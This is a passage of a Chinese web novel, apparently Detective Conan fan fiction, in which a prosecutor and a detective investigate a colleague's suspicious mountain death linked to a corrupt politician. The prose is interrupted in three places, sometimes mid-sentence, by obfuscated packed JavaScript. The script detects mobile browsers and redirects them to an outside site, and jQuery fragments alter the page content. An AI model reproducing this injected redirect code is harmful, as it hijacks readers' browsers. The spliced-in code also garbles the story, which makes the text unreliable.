“是的,吉田署长说你们两个关系很好,所以我想你会不会知道。” 思考两秒后,山下诚摇头:“大概也是和很多人一样,看了电视剧,想着要维护法律公平正义,才选择当检察官的吧?” 门轻轻合上,诸伏高明看向北原浅落,柔声问道:“怎么想到问这个?” “高一的时候,有一次课上,老师问我们每个人想从事的职业,他回答的是医生。” “这样,”诸伏高明若有所思,几秒后,他又问,“那你的回答呢?” 他还记得她说过,从前的她很讨厌检察官这个职业。 北原浅落一怔,而后淡淡一笑:“那个时候,我已经想好要成为一名检察官了。” 门外传来敲门声,北原浅落连忙收了神色重回状态,说了一声“请进”。 一名与她年龄相仿的年轻女性走了进来,在会议室的长桌对面坐下。 花城枝子,26岁,三年前入职,现在是检察署的检察官助理。 女性的话还是她来问比较好。 北原浅落这样想着,刚要开口却发现对方看着自己的目光很奇怪。 她下意识看向诸伏高明,对方显然也发现了这一点。 “那个,你认识我吗?”北原浅落试探性问道。 “不,”花城枝子摇头,“我不认识你。” 可她明明不停眨眼,目光闪烁,头微微仰起,在竭力克制些什么。 她在说谎。 33.第 33 章 北原浅落暂时揭过眼前的异样,开始例行询问。 “花城小姐,你和近江检事在工作上的交集多吗?” “是的,近江检事是我的直属上司,我们经常有工作上的往来。” “听说近江检事有登山的爱好,你知道吗?” “是,我知道,应该说,署里的人都知道,署里组织过几次登山活动。” “那你知道近江检事平时会去哪儿登山吗?” 花城枝子脸色骤变,像一朵花,瞬间失去了华彩。 “他经常去诹访湖边的山上,他,他遇害的那座山,就是其中之一。” “遇害?” 北原浅落和诸伏高明面面相觑,这是第一次,他们从案件的相关人口中听到“意外”之外的说法。 北原浅落想起了那封匿名信,会是她寄的吗? 即便如此如此,北原浅落面上并不显露出分毫,反而问道:“花城小姐,你为什么会认为近江检事是被人杀害的?警方已经调查过了,是意外。” “如果真的是意外,本部和检察厅怎么会派你们过来?” 北原浅落不为所动:“因为近江检事是一名检察官,身份特殊,需要进一步核实。” “核实?”花城枝子嘴角抽动,扯出一个难看的笑容,“北原检事,如果连你都核实出来近江检事的死是意外,那他就太悲哀了。” “花城小姐,”北原浅落放软了语气,“如果你知道什么,请告诉我们。作为近江检事的同学,如果他是被人害的,我一定会尽全力为他沉冤昭雪。” 花城枝子看向开着的相机:“虽然我知道,但我还是想确认一下,这次会谈的一切记录,不会给诹访的警方和检察署看吧?” “是,这一点,我可以向你保证。” “那就好,我不知道谁是他的眼线,所以,地方上的人,谁都不能信任。这也是为什么我虽然心里清楚近江检事是被害的,但我不能和别人说,北原检事,也请你们牢记这一点。” “‘他’指的是?” “八木茂。” 这个名字把北原浅落和诸伏高明都吓了一跳。 “你说的是那位很有可能当选下任财政部长的议员八木茂?” “没错,是他。” “可是,近江他只是个检察署的检事,怎么会和八木茂有关联?”激动之下,北原浅落连对近江悠介的职务称呼都省略了。 “八木茂是诹访人,诹访是他的大本营,或许是想加强对这里的掌控吧,而近江检事,他为什么会和八木茂走到一起,才是让我一直无法理解的事情。” 花城枝子顿了顿,看向北原浅落:“北原检事,你知道我什么意思吧?” 北原浅落点头:“按照他之前的性格判断,他的确不是那种攀附权贵的人。” “是啊,我刚来的时候,一直把他视为榜样,直到一年前,我发现,他突然开始频繁出入一些高档会所,身上穿的戴的也变成了高档品。” “我以为他堕落了,以为他想攀高枝飞黄腾达,为此和他大吵了一架,我甚至……”花城枝子突然止住话头。 “甚至什么?” 花城枝子避开北原浅落的视线,摇了摇头:“没什么,总之,我和他大吵了一架,从那时候起,我算是和他分道扬镳了吧,和他只有工作上的往来。” “直到一个月前,他和我说,他从没忘记过入职时候的宣誓。” 也从没忘记过他为什么选择成为一名检察官。 “那一刻,我猜到他是出于什么目的才故意变成这样的。从那天起,他变得很忙,明明他手上没有几件案子,不该这么忙的,可他不许我问。” “现在想起来,不管他怎么拒绝,我都该问些东西出来的,如果这样,他就不会死得这么不明不白了……”说到这里,花城枝子再也忍不住,眼中的泪水汩汩流出。 北原浅落连忙抽出几张纸巾,绕过桌子走到她身旁坐下,轻轻拍着她的背。 巨大的悲伤面前,一切语言都是徒劳。 见花城枝子情绪稳定了些,诸伏高明问:“花城小姐,你的意思是,八木茂杀害了近江检事?” “是,那座山近江检事非常熟悉,他不可能意外失足落水的,而且,除了他,没有人有理由杀他,一定是近江检事知道了他的什么秘密,他就杀人灭口。” “花城小姐,我很理解你的心情,但你也明白,我们需要证据,请你再好好想想,有什么线索吗?”诸伏高明引导。 花城枝子思忖半晌,尽管不情愿,她不得不摇头。 “我没有证据,线索的话,其实,在诹访当地,我们多多少少都知道八木茂在本地的勾当,贪污受贿,官官相护,不过也都只是听说,没有实在的证据。” “真要查他,恐怕还得特搜部的人出马,光靠你们,太难了……” 北原浅落握上花城枝子不安搅动的手,凑近道:“花城小姐,但是我们这次是来查近江检事死亡的案子的,如果真像你说的那样,他的死和八木茂有关,我们不会退缩的。” “现在,请你好好想想,在近江检事请假前,他有什么异常吗?他有说他为什么请假吗?” “是的,他请假前一天的下午,我和他在储物柜那边碰到了。我问他怎么突然请假,他说好久没回乡下看望父母了,去陪陪他们。”忽然,花城枝子脑中灵光一闪,定定看着北原浅落。 “他还说,可能会去长野一趟。” “北原检事,你现在在长野县检察厅对吧?” 北原浅落霎时明白花城枝子的言下之意:“你的意思是,他要来长野找我?” * 诹访湖边的山上,大和敢助和上原由衣在一位本地巡警的带领下登山前往案发现场。 经过长时间的修养和复健,大和敢助已经不再需要拐杖辅助行走。上原由衣不放心,上山途中一直挽着对方手臂。 “早知道,应该让你和诸伏换一下的,让他来案发现场。” “笨蛋,当然要让高明陪着北原去检察署了,我是那么不解风情的人吗?”大和敢助看着搀着自己的上原由衣,心里暗道就算对方想换自己也不会答应的。 “大和警官、上原警官,这是就是发现尸体的地方。” “是这里啊。”大和敢助连忙上前,是半山腰的一处潭水,潭水深不见底,耳边是山泉汇入潭水的潺潺声。 “那他掉落的地方找到了吗?” “是的,”年轻的巡警抬手指了指上方十几二十米的高处的亭子,“经过我们勘察,确认是在亭子边上坠落的。” “亭子边上?”上原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303120|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由衣惊讶,按道理来说,在山上失足通常是在狭窄难行或者太过光滑的地方,可这个亭子,虽然靠近山体边缘的地方杂草丛生,但正常来说人是不会走到那里去的。 “是,我们在亭子里找到了死者的手套,靠近边缘的草丛也有被踩踏的迹象。” “由衣,我们去看看。” 大和敢助和上原由衣一前一后往亭子走,两人在杂草附近蹲下查看。 虽然已经过了几天,但被踩踏过的杂草仍然呈现倒伏状,东倒西歪。 二人心中有了结论。 大和敢助起身试着向外探身,却被上原由衣一把抓住。 “敢酱!” “放心吧由衣,我有数。” 俯身看了一圈后,大和敢助收回身子,走向在小径旁等待的巡警。 “我说小子,你们是怎么得出他是意外失足的结论的?” 年轻的巡警不觉窘迫:“这是贺川署长亲自勘察后得出的结论。” 大和敢助轻蔑一哼:“要我说,与其说他是失足落水,不如说他是被人推下去的,说他自己跳下去的可信度都比失足要高。” 年轻巡警眼中放光:“对!我也是这么认为的!” 但是瞬间,年轻人又蔫了下去:“可是署长说,是意外……” “傻瓜!”大和敢助用力拍了一下他的肩膀,“署长怎么了?署长说的都是对的吗?课长部长都可能出错呢!” “由衣,”大和敢助招呼一旁的上原由衣,“我们去警署看看死者的尸体和现场遗留物品。” “你说过的,现场亭子里掉了一双手套对吧?” “是,”年轻的巡警连忙站直,“已经比对过DNA了,确实是死者的。” “好,带我们去警署吧。” * 合上会议室的门,仿佛脱力一般,花城枝子靠着门,仰面看着走廊天花板。 你看到了吧,是她,你现在,应该很欣慰吧? 再一次,晶莹的眼泪顺着她的眼角流下。 * 走出检察署,天色已半黑,北原浅落紧皱的眉头并没有一天的谈话舒展分毫。 她和诸伏高明和署里所有公职人员都谈过了,甚至因为花城枝子说的八木茂和近江悠介的关系再次找了山下诚谈话。 “死者为大,说这个会让近江的名誉多多少少有些受损,所以才对你们隐瞒了。” “是,这一年来,近江和八木茂走得确实很近。不过我也能理解,在地方做了这么多年副检事,有调动和升职的想法很正常。但是,他在检察官的公务上,绝对没有半分徇私,他处理的卷宗都在,你们可以随便查阅。” 这是山下诚的说法。 花城枝子虽然看起来可信,但仍然有可疑的地方。 既然不相信地方上的任何人,为什么对检察厅和本部来的人就能和盘托出呢? 她就没想过八木茂的触角已经伸到了县级机关吗? “浅落。” 北原浅落抬头,从繁重的思绪中抽身,看向诸伏高明。 对方突然低头,替她理了理衣领,平缓的呼吸轻轻柔柔洒在她的额前。 是突然的亲昵。 “浅落。” 这次的声音更轻。 “我们被跟踪了。” 34.第 34 章 即使有心理准备,北原浅落心里还是不可避免一揪。 “别看。”诸伏高明的手指上移,从衣领来到她的鬓角,替她将碎发挽起,“没事的,目前看来只是盯梢,没有危险。” 北原浅落克制住自己想寻找对方所在的冲动,瞧了眼不远处便利店的招牌,看向诸伏高明:“我想去便利店买瓶水。” 刚说完,她连忙补充:“我自己去就好。” “好。”诸伏高明收回手,听懂了她的言外之意。 北原浅落转身小跑去往便利店。 诸伏高明往她的方向走了两步,调整角度,使他恰好能在几米外的凸面镜中看到跟踪的人。 这件案子背后的水,比他想象的要深。 望着北原浅落进入便利店,秋风裹挟着夜晚的凉意侵来,有一瞬,心底突然生出一种似曾相识的害怕。 他瞥了眼镜中的探子,仍待在他们身后二三十米开外的地方。 他不会让她有事的。 等待的时间在不经意间显得越发漫长难捱,诸伏高明确认跟踪的人没有什么威胁后,迈步走向便利店,走了一半就看到北原浅落抱着两瓶水走了出来。 与此同时,诸伏高明手机响起,是大和敢助。 “是,我们出来了,好。” “是大和警部吗?”北原浅落将其中一瓶水递给诸伏高明。 “是,他们那边也结束了,来接我们去酒店。”诸伏高明接过水,又从她手中拿过正要拧开的那瓶,拧开后递了回去。 “我记得订的酒店就在附近。”北原浅落环视四周。 “是的,是出差的公务酒店。” “那看来也不会太‘干净’。”北原浅落低声吐槽。 “是啊,所以待会我们得找个干净的地方讨论一下。” 上了车,北原浅落刚拉好安全带,大和敢助就笑着转头看向诸伏高明:“你们这果然也有讨厌的跟屁虫。” “身正不怕影子斜,越是这样,就越说明背后有大问题。” “大和警部,你们有什么收获吗?” “是,我们可以确定,近江检事的死不是意外。” “没错,”上原由衣拨下转向灯,“坠落地点在亭子边,一般来说登山者出现意外不会在这种地方,而且,坠落地方草丛的倒伏状态明显不正常,不止一个人踩在那里过。” “他是被人推下去的?”北原浅落惊愕。 “这种可能性很大,但目前还不能下定论。”大和敢助回答。 “为什么?不是确定不是意外了吗?” “是,的确不是意外,”大和敢助点头,“但我们目前还无法排除自杀的可能性。” “那片倒伏也可能是他在犹豫不决的时候踩出来的。” 长久的震惊后,北原浅落摇头:“不,他不会自杀的。” “检事小姐,我只是提出一个潜在的可能性,当然,目前我也偏向被人推下去这一推论,只是我们需要更多证据。” “明天我和由衣打算去近江检事的住处和他乡下的家看看,你们两个怎么安排?” 诸伏高明看向北原浅落:“你有什么想法?” “明天,我想去检察署调阅近江检事近一年半调查的案子卷宗,”沉思几秒后,北原浅落给了自己的打算,“诸伏警部,你明天也和大和警部他们一起去调查吧,看卷宗,我一个人够了。” “一年半?怎么要看时间跨度这么大的卷宗?”上原由衣问道。 “因为我们从检察署的人员那获悉,一年前开始,近江检事和八木茂走得很近。我想从他经手的案件里找找原因,顺便看看他对于案件的审查是否和山下诚说的一致。” “你确定自己一个人可以?”诸伏高明面露担忧。 这句问话让北原浅落一下子不知道怎么回答,狐疑地看向对方。 这是在质疑她的能力? “等等,”大和敢助打断两人,“你们说的是那个八木茂?” 上原由衣显然也非常震惊:“是那位议员?” “是,”诸伏高明显得淡定许多,点头回应,“还有哪个八木茂吗?” “真是,来之前也不知道这案子会牵扯出这么一个大人物。”大和敢助暗骂了一声,“课长那家伙不会是在公报私仇吧。” “要是怕了可以现在开车回去。” 大和敢助笑了一声,丝毫不被好友的调侃影响:“来都来了,怎么可能回去啊,要回去也得把案子破了再回去。” 是的,要把案子破了,要调查出真相。 北原浅落拉了拉诸伏高明的袖子,回答他之前的问题:“诸伏警部,我一个人可以的,再怎么说我也是东京地检出来的。” “我不是说这个,我的意思是,明天大概率你也会被跟踪,我担心你会有危险。” “你不是说他们只是盯梢吗?不会有危险的。”想了想,北原浅落补充,“那这样,明天你们结束了来检察署接我,他们再怎么猖狂,也不至于在检察署里胡作非为。” 吃了饭,四人在附近的公园里找了个僻静的角落继续讨论案情。 听了北原浅落关于花城枝子的叙述与怀疑,上原由衣给出自己的猜想:“我在想,这位花城小姐是不是近江检事的恋人?” “恋人?” 其余三人大惊。 “是,”上原由衣说着不好意思地看了大和敢助一眼,“因为之前我差点以为敢酱遇害了,大概能体会到她现在的心情,这种不甘心,却又无能为力的感觉……” “但、但是,花城小姐说了,从一年前起,她和近江检事就闹掰了,不可能是恋人吧?”北原浅落小声反驳。 “谁说闹掰就不可能是恋人了?你看敢酱和诸伏,每天争锋相对的,关系还不是很好吗?”上原由衣目光从两位青梅竹马身上扫过,凑到北原浅落面前狡黠一笑。 北原浅落看了看两人,觉得对方说得有理,但还是半信半疑。 花城枝子和近江悠介的性格和他们两个又不像…… 玩笑过后,凝重的气氛驱散几分,四人谈笑着走出公园。果不其然,诸伏高明和大和敢助又发现了隐匿在暗处的跟踪者。 大和敢助同一道走在两位女士身后的诸伏高明低语:“还好带了配枪,我估计,迟早得派上用场。” 诸伏高明听了,望着北原浅落的背影小声回应:“还是不用派上用场的好……” * 第二天,北原浅落再次来到检察署。 前一天晚上,她已经联系了吉田刚一,要调阅一年半来近江悠介处理过的案件卷宗。 出乎她的意料,吉田刚一在检察署门口等她。 “吉田署长,麻烦您了!”北原浅落下车后连忙走上前鞠躬。 “没什么麻烦的,我也是想早点让近江的事尘埃落定,早点入土为安。”吉田刚一伸手示意北原浅落入内,“我和花城说过了,她已经把这些卷宗都找出来了,就放在昨天那间会议室。” “好,谢谢。” “听说昨天北原检事在谈话中谈到了近江和八木议员?” 北原浅落瞬间警觉,点了点头:“是的,我们了解到了一些情况,近江检事似乎和八木议员走得有些近,但是,这也只是属于调查近江检事社会关系的范畴,是例行调查和询问。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319253|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >吉田刚一无声笑了笑:“是,我也知道他们两个的来往。八木议员虽然是我们诹访人,但是也不是那么容易见到的呢,近江可以和他有交情,也真是幸运呐,听说八木议员前两天还去乡下慰问了近江父母。” “这样……” “是,”见到花城枝子在会议室门口等候,吉田刚一同北原浅落道别,“那我先去忙了,有什么需要和花城说就好,我们一定全力配合。” “好,您慢走。” 步入会议室,桌上堆满了卷宗。 北原浅落深吸了一口气,将随身的包在最近的一张椅子上放下。 “从这些卷宗里,能找到近江检事遇害的原因吗?”花城枝子忍不住提出自己想了一早上的疑问。 北原浅落摇头:“说实话,我没有十足的把握。” “那你还……” “但是花城小姐,近江检事生活中的人际关系非常简单,那么他为什么从一年前开始突然和八木茂交往频繁呢?” 花城枝子愣住了,不知怎么回答。 “可能的变量有很多,但是作为一名检察官,生活中最大的变量,恐怕就是手上的案子了吧?”北原浅落视线从各个卷宗上面的日期掠过。 “你的意思是,近江检事因为某件案子才和八木茂有牵扯的?” “是,我想,这是最合理的解释了。”北原浅落抬头看向花城枝子,“花城小姐,你还记得他转变的大概日期吗?” “我记得是去年的8月份左右。” “好,那就从7月份的卷宗看起吧。”北原浅落拿过一份卷宗,拉开附近的椅子坐下翻阅。 “那我就先不打扰你了,午饭的时候来叫你。” 花城枝子说着就往外走。 想起昨晚上原由衣的话,北原浅落欲言又止。 算了,中午有机会再问吧。 * 另外一边,三人在昨天那位年轻的巡警带领下来到近江悠介的住处。 屋子里物品摆放有序,非常干净整洁。 “海城是吧?” “是!”海城光连忙站直,抬头挺胸。 “你确定这间屋子在案发后就是这个样子?没人来过?” 虽然大和敢助笑着,可海城光莫名觉得这笑那么瘆人,带着满满的嘲讽,他一下就对既定的事实没了底气:“确实保持着案发后的样子啊,我在发现尸体后过来调查,这里就是这个样子。” “行吧行吧,”大和敢助摆了摆戴着手套的手,转头看向上原由衣,“由衣,你去问问邻居,看看会不会有发现。” “好。”上原由衣转身出屋。 太过整齐了。 诸伏高明开始同大和敢助一起在屋内翻找。 “高明!” 诸伏高明从卧室来到大和敢助所在的书房。 大和敢助站在书桌旁,书桌上敞开着一个盒子。 大和敢助别有意味地冲好友一笑,将手里的照片递给诸伏高明:“这是我在书柜的隔层里找到的。” 是一张学生时期的合照,看校服应该是高中时期。 诸伏高明忍不住在照片上搜索北原浅落的面容,但仍是不解:“照片怎么了吗?” 大和敢助笑出了声,从盒子里随手取出一张照片放在诸伏高明手上的照片前。 照片上的人没有看镜头。北原浅落的面容稍显稚嫩,嘴角微微勾起,似乎对身旁的男同学说的话很感兴趣。 这显然是张抓拍,或者说偷拍的照片。 诸伏高明挪开目光,看向盒子,盒子里还有三四张旧照片。 无一例外,上面的主角都是北原浅落。 35.第 35 章 “北原检事,你有什么发现吗?”去吃饭的路上,花城枝子犹豫再三,仍是冒着违反规定的危险问道。 “暂时还没有。”北原浅落没有隐瞒,既然暂时没有发现,也就不存在能不能告知的问题。 “好吧。”花城枝子不免失落垂头,几秒后,她抬起头,看向北原浅落的目光中满是企求,“北原检事,你一定一定要查出真相,还近江检事一个公道。” 北原浅落嘴唇翕动,再一次,昨晚的讨论出现在脑海,想了想,她终是问出了口。 “花城小姐,你是近江的恋人吗?” 花城枝子眼睛蓦地睁大,而后覆上一层更深的名为遗憾与痛苦的阴影。 北原浅落突然意识到,自从昨天见到花城枝子,对方的眼中始终透着一种无法言说的苦楚。 “不是,北原检事,我不是近江检事的恋人。” “我和他,只是同事关系。” “但是花城小姐,你喜欢他,对吧?”北原浅落停下脚步。 她明白上原由衣的意思了。 这种苦楚远超寻常同事的情感,如果不是恋人,那么只能是她喜欢他。 花城枝子闭上眼,睫毛随着眼睑轻颤,许久,她没有睁眼,也没有说话。 北原浅落静静看着她。 等到再次睁眼,花城枝子点了点头:“是,我喜欢他。” “但他不知道,”花城枝子转过头,抬手擦拭眼泪,“北原检事,他不知道我喜欢他,我从没和任何人说过。” “多可笑啊,居然是在他去世后,我才有勇气说出对他的喜欢,还是在你面前。” 花城枝子的眼泪越流越多,北原浅落连忙从口袋里取出纸巾递过去。 是极力压低的呜咽,和无法克制的眼泪。 她一定很喜欢他,很喜欢很喜欢。 北原浅落轻轻拍着她的背,感受女孩汹涌的爱与痛苦。 “为什么不和他说呢?” 不经意间,她将心中所想说出了口。 “抱歉,花城小姐,我失礼了。”北原浅落连忙道歉,她不该这时候在对方伤口上撒盐。 花城枝子抑制着抽泣,泪眼婆娑地望着面前的人。 良久,她开口道:“因为他有喜欢的人。” “虽然对方好像不知道,但他喜欢她,很久了。” “从高中时候就开始了。” 她的眼神是那么复杂,似乎是在暗示什么。要不是自己清楚记得和近江悠介之间什么都没有,有一瞬间,北原浅落都要以为那个人是自己了。 “我知道的,我比不过她,就这样一直默默在他身边也挺好的。” 感情的事,实在过于复杂,即使目前已经和诸伏高明确定了关系,可她仍不擅长处理爱情。 不过,北原浅落确定了,在近江悠介的事上,花城枝子不会对她说谎,她说的一切,是可靠的。 与此同时,她忽然发现,作为昔日的同学,自己对近江悠介的了解,太少了。 再次回到会议室,她拿出手机,想给一位多日未联系的老友去电话。 思索再三,她还是出了会议室,走出办公楼才打下这个电话。 “北原,很久没收到你的消息了。” “是啊,”北原浅落在检察署的院子里慢悠悠走着,开门见山,“绫小路,我有事问你,你还记得我们的高中同学近江悠介吗?” “近江?”那头的绫小路文麿明显迟疑了两秒,“近江啊,你怎么突然提起他来了。” “你知道他成为一名检察官了吗?” “知道啊,我之前去诹访公干,见到过他,好多年了。对哦,你现在在长野,是不是见到他了?” 北原浅落选择暂时忽视对方的问话,问道:“关于他,你还知道多少?” “啊?你不会在查他吧?他的资料的话档案里应该都有,怎么问起我来了?” “不是档案里的资料,是关于他的任何事,绫小路,你还记得他在高中的事吗?” “高中的事?论记性谁比得过你,你恐怕比我记得清楚多了。”绫小路文麿笑着调侃,摸了摸仰头看他打电话的松鼠脑袋,回忆起这位“平平无奇”的老同学,“他高中的时候脾气就很好,虽然不太爱说话,在男生中人缘一直挺好的,平时喜欢骑自行车和听歌,还喜欢玩填字游戏。” “填字游戏?” “是的,就是那种报纸和杂志上会登的,根据提示在横行和竖列上填字,学英语的时候不是也有吗,根据提示填写英文单词,他很喜欢这个。” 说着说着,绫小路文麿想起了件“重大秘辛”,挑了挑眉:“对了对了,有些事你不知道当然不会记得。” “我也是当时偶然发现的。” “北原,高中的时候,近江暗恋你哟。” * 诸伏高明在夜色中到达检察署门口的时候,没看到熟悉的身影。 空旷的大门前,灯影绰绰。 她人呢? 诸伏高明脸色一沉,迅速下车张望,果不其然又发现了那些人的身影。 一直在阴影中潜伏的念头击中他,他的手控制不住发抖,用尽力气迫使自己冷静分析。 不会的,这里到处是监控,而且现场没有任何可疑痕迹,如果她遇到危险,一定会留下些信息的。 她不会有事的。 下一秒,心心念念的倩影出现在视线中。 北原浅落从便利店出来,手上握着一瓶果汁。 诸伏高明心里的石头落了地,果然是自己吓自己,杞人忧天了。 “浅落!” 诸伏高明跑至北原浅落身前,却发现对方脸色不对,不是遇见棘手难题的神情,不是无功而返的落寞,是一种难以言喻的失神。 “怎么了?是累了吗?” 已是晚上九点,她看了一天的卷宗。 北原浅落摇头:“没有,我没事,由衣和大和警部他们呢?” “他们先去夜宵店了,在那里等我们。”诸伏高明说得模糊,其实是他想单独来见她。 见到那几张照片后,他就有一种冲动,一种对她揭开一切、坦白一切的冲动。 但他知道,现在不是时候。 两天前,在他明白一切的时候,他就知道,现在不是时候。 至少得等这个案子结束。 可他还是一个人来了。 他自认为是个理智果断的人,做决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338632|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从不拖泥带水。 可在来的路上,自始至终,他都没有下定决心。 不过,现在下定决心了,以后再说吧。 她累了,身心都是。 “撒谎。”诸伏高明抚上女孩的面庞。 “嗯?” 诸伏高明稍稍蹲下,视线和对方齐平:“你的眼睛告诉我,你很累。” “能在这么短时间内在那么多卷宗里发现线索,你的大脑今天一定一直保持着高速运转,对吧?” 一个小时前,北原浅落给他们发消息,在近江悠介处理的案子中,发现一起异常的盗窃案。 犯罪者平平无奇,是个出狱不久的惯犯,不对劲的是受害人。 受害人是一名收废品的中年男子,报警称丢失了2000万日元。 任何一位检察官,面对如此明显的疑点,都会继续追查受害人资金来源。 可近江悠介没有。 卷宗上说,最终,受害人追回了资金,选择不起诉犯罪者。 太不正常了。 “我已经上报检察厅了,他们会尽快顺藤摸瓜,给我们反馈的。” 一定会尽快给反馈的,因为她不止上报了长野的检察厅,还上报了东京的特搜部。 指腹摩挲着女孩脸颊上光滑的皮肤,诸伏高明欲言又止,他不想她只说工作的事。 他直起身子,手掌随着动作后移,轻轻扣住北原浅落的后脑,把她揽入怀中。 “浅落,在我面前,你可以说累的。” “我希望,至少对我,你可以无所顾忌。” 耳边的心跳声无比清晰,一下一下敲击着她的耳膜。 她可以吗? 可以的吧? 北原浅落嘴巴微张,又渐渐合起,在合上前,她再度张开。 “高明,他喜欢我。” “他是因为我,才放弃成为一名医生的。” 听到绫小路话的那一刹那,她什么都明白了。 她明白了,为什么花城枝子见到她的第一眼,眼神那么奇怪。 她明白了,花城枝子中午说的那句“还是在你面前”,并不是在强调她们是刚认识的陌生人。 她也明白了,中午从花城枝子复杂眼神中感受到的暗示并不是错觉。 “是我,让他成为了一名检察官,是我,间接害了他……” 同样,也是她,一直阻挠着花城枝子把心中隐秘而深沉的爱说给他听,直到如今,再也没有机会。 怀中女孩的肩膀在颤抖。 她哭了。 这是他第二次见她流眼泪。 上一次,他没有真正明白眼泪背后的深意,无法给予她真正需要的,这一次,他不会再留遗憾了。 “浅落,别怪自己。” “这样把近江检事看得太肤浅了。” “这是他跟随自己的心做出的选择,不论是选择喜欢你,选择喜欢你却从未告诉过你,还是选择成为检察官,抑或至这次选择以身犯险深入虎穴。” “我想,即使预见了这样的结局,近江检事也不会后悔当初的选择的。” 就像他,从不会后悔当初放弃职业组的前途,选择回到长野成为一名警察。 36.第 36 章 北原浅落不知道自己哭了多久,等她发泄完毕,克制着抽泣的余波仰头看向他,正好撞上对方如夜色般的眼睛。 对方用大拇指指腹轻轻擦过她的眼角和眼下:“浅落,我会一直在你身边的。” 她觉得自己的眼圈肯定又红了:“我也会的。” 她也会一直陪在他身边。 诸伏高明手指的动作一顿,低头在北原浅落左眼上轻轻一吻:“之前从不知道,你还挺爱哭的。” 而后是右眼。 感受到眼上的柔软触感的一瞬间,北原浅落都忘了呼吸。 等到这种感觉消失,她才反应过来,小声反驳:“哪有,只是因为……” “因为什么?” 因为在你面前啊。 北原浅落在心里将话补充完整。 “我们走吧,由衣他们要等久了。”北原浅落顾左右而言他。 “好。” 诸伏高明笑了笑,没有穷追不舍。她愿意在他面前哭,是好事。 深夜,北原浅落躺在床上,借着夜灯的微光望着天花板,耳边是另一张床上上原由衣的微弱呼吸声,以及远处偶来的汽车轰鸣。 一个小时前,在夜宵摊上,他们四人就目前的情况进行了探讨。 据大和敢助所说,近江悠介的住处干净得过分,事先一定有人整理过;而近江悠介乡下的父母也提到了一个情况,两周前家里进过贼。 他们在找一样东西,或许就是这样东西,让近江悠介丧了命。 这样东西是什么,他们都心知肚明,是证据。 是一样足以揭开八木茂一切肮脏的证据。 高桥和夫告诉她,特搜部两年前就盯上八木茂了,临近退休的他借机来到诹访隐蔽查访。 两年来,他的确查到了些眉目,也向特搜部递交了些资料和证据,但都缺乏最直接的证据,不足以起诉对方,反而使对方更加小心谨慎,取证更是难上加难。 监控视频显示,近江悠介最后一天上班后先回了住处,而后开车开上回乡下的国道。 监控最后一次拍到近江悠介的车是在一个距他父母家十公里的一个十字路口。 之后,他就消失了。 恐怕那时候他就已经落入魔爪了。 对方察觉到了他的潜伏与出卖。 可是,为什么最后近江悠介会从山上落水溺亡呢?是对方看他不肯开口,才把他押上山造成溺亡的假象吗? 按照目前的情况看,对方还没有找到近江悠介藏匿起来的证据,他会把它藏哪儿呢? 住所、父母家以及他在检察署的东西,对方肯定都已经翻个底朝天了。 会在哪儿呢? 还是说,确实在这几个地方,只是对方没发现? 想着想着,她终于睡着了。 * 第二天清晨,秋日的太阳照常升起。 按照昨晚吃夜宵时候敲定的安排,大和敢助和上原由衣再次前往案发现场,北原浅落和诸伏高明则去检察署。 快要到检察署的时候,北原浅落收到了案件调查结果。 那位收废品的中年男子在撤诉后不久就出了车祸,不治身亡,但通过卷宗里保留的几张纸币编号,特搜部锁定了取款人,是诹访一座大桥施工地的包工头。 这座大桥,在两年前因暴雨引发的泥石流的冲击下垮塌,造成了不小的事故。 更重要的是,承建这座大桥的建造方当初在竞标的时候,并没有相关经验,给出的报价也不是最具备竞争力的,可最后却是它中了标。 调查显示,八木茂是这家公司背后的股东。 “你的直觉没有错,”诸伏高明显然也看完了手机上收到的报告,“恐怕近江检事就是从这件盗窃案上,察觉到了当初大桥倒塌事件没有表面那么简单。” 北原浅落点点头,望着入口的检察署招牌:“可是,他到底把搜集到的证据藏哪儿了……” 两人来得早,检察署的工作人员也才陆陆续续到达。 花城枝子正在自己的储物柜前输着密码,看到二人打了个招呼。 “北原检事,诸伏警部,早。” 说完,她按下最后两个数字,柜门随之弹出。 “早啊,”不小心瞥见最后两个数字,北原浅落说道,“花城小姐,你怎么把生日设成密码了?” 花城枝子一愣,解释道:“是有点简单,但按照规定,我们也不会在储物柜里放重要文件,只是些日常物品,我就设置得简单点了,防止忘记。” 北原浅落点头,视线落在花城枝子的柜子旁边:“那个是近江的柜子吧?” “是,不过里面东西都已经被警方取走了,现在是空的。”花城枝子摸着柜子表面,神情落寞,“那天下午,我就是在这见到他的。” 忽然之间,北原浅落脑海里闪过一个念头。 “花城小姐,近江知道你的储物柜密码吗?” 花城枝子露出迷茫的神情,一时没有明白北原浅落的用意。 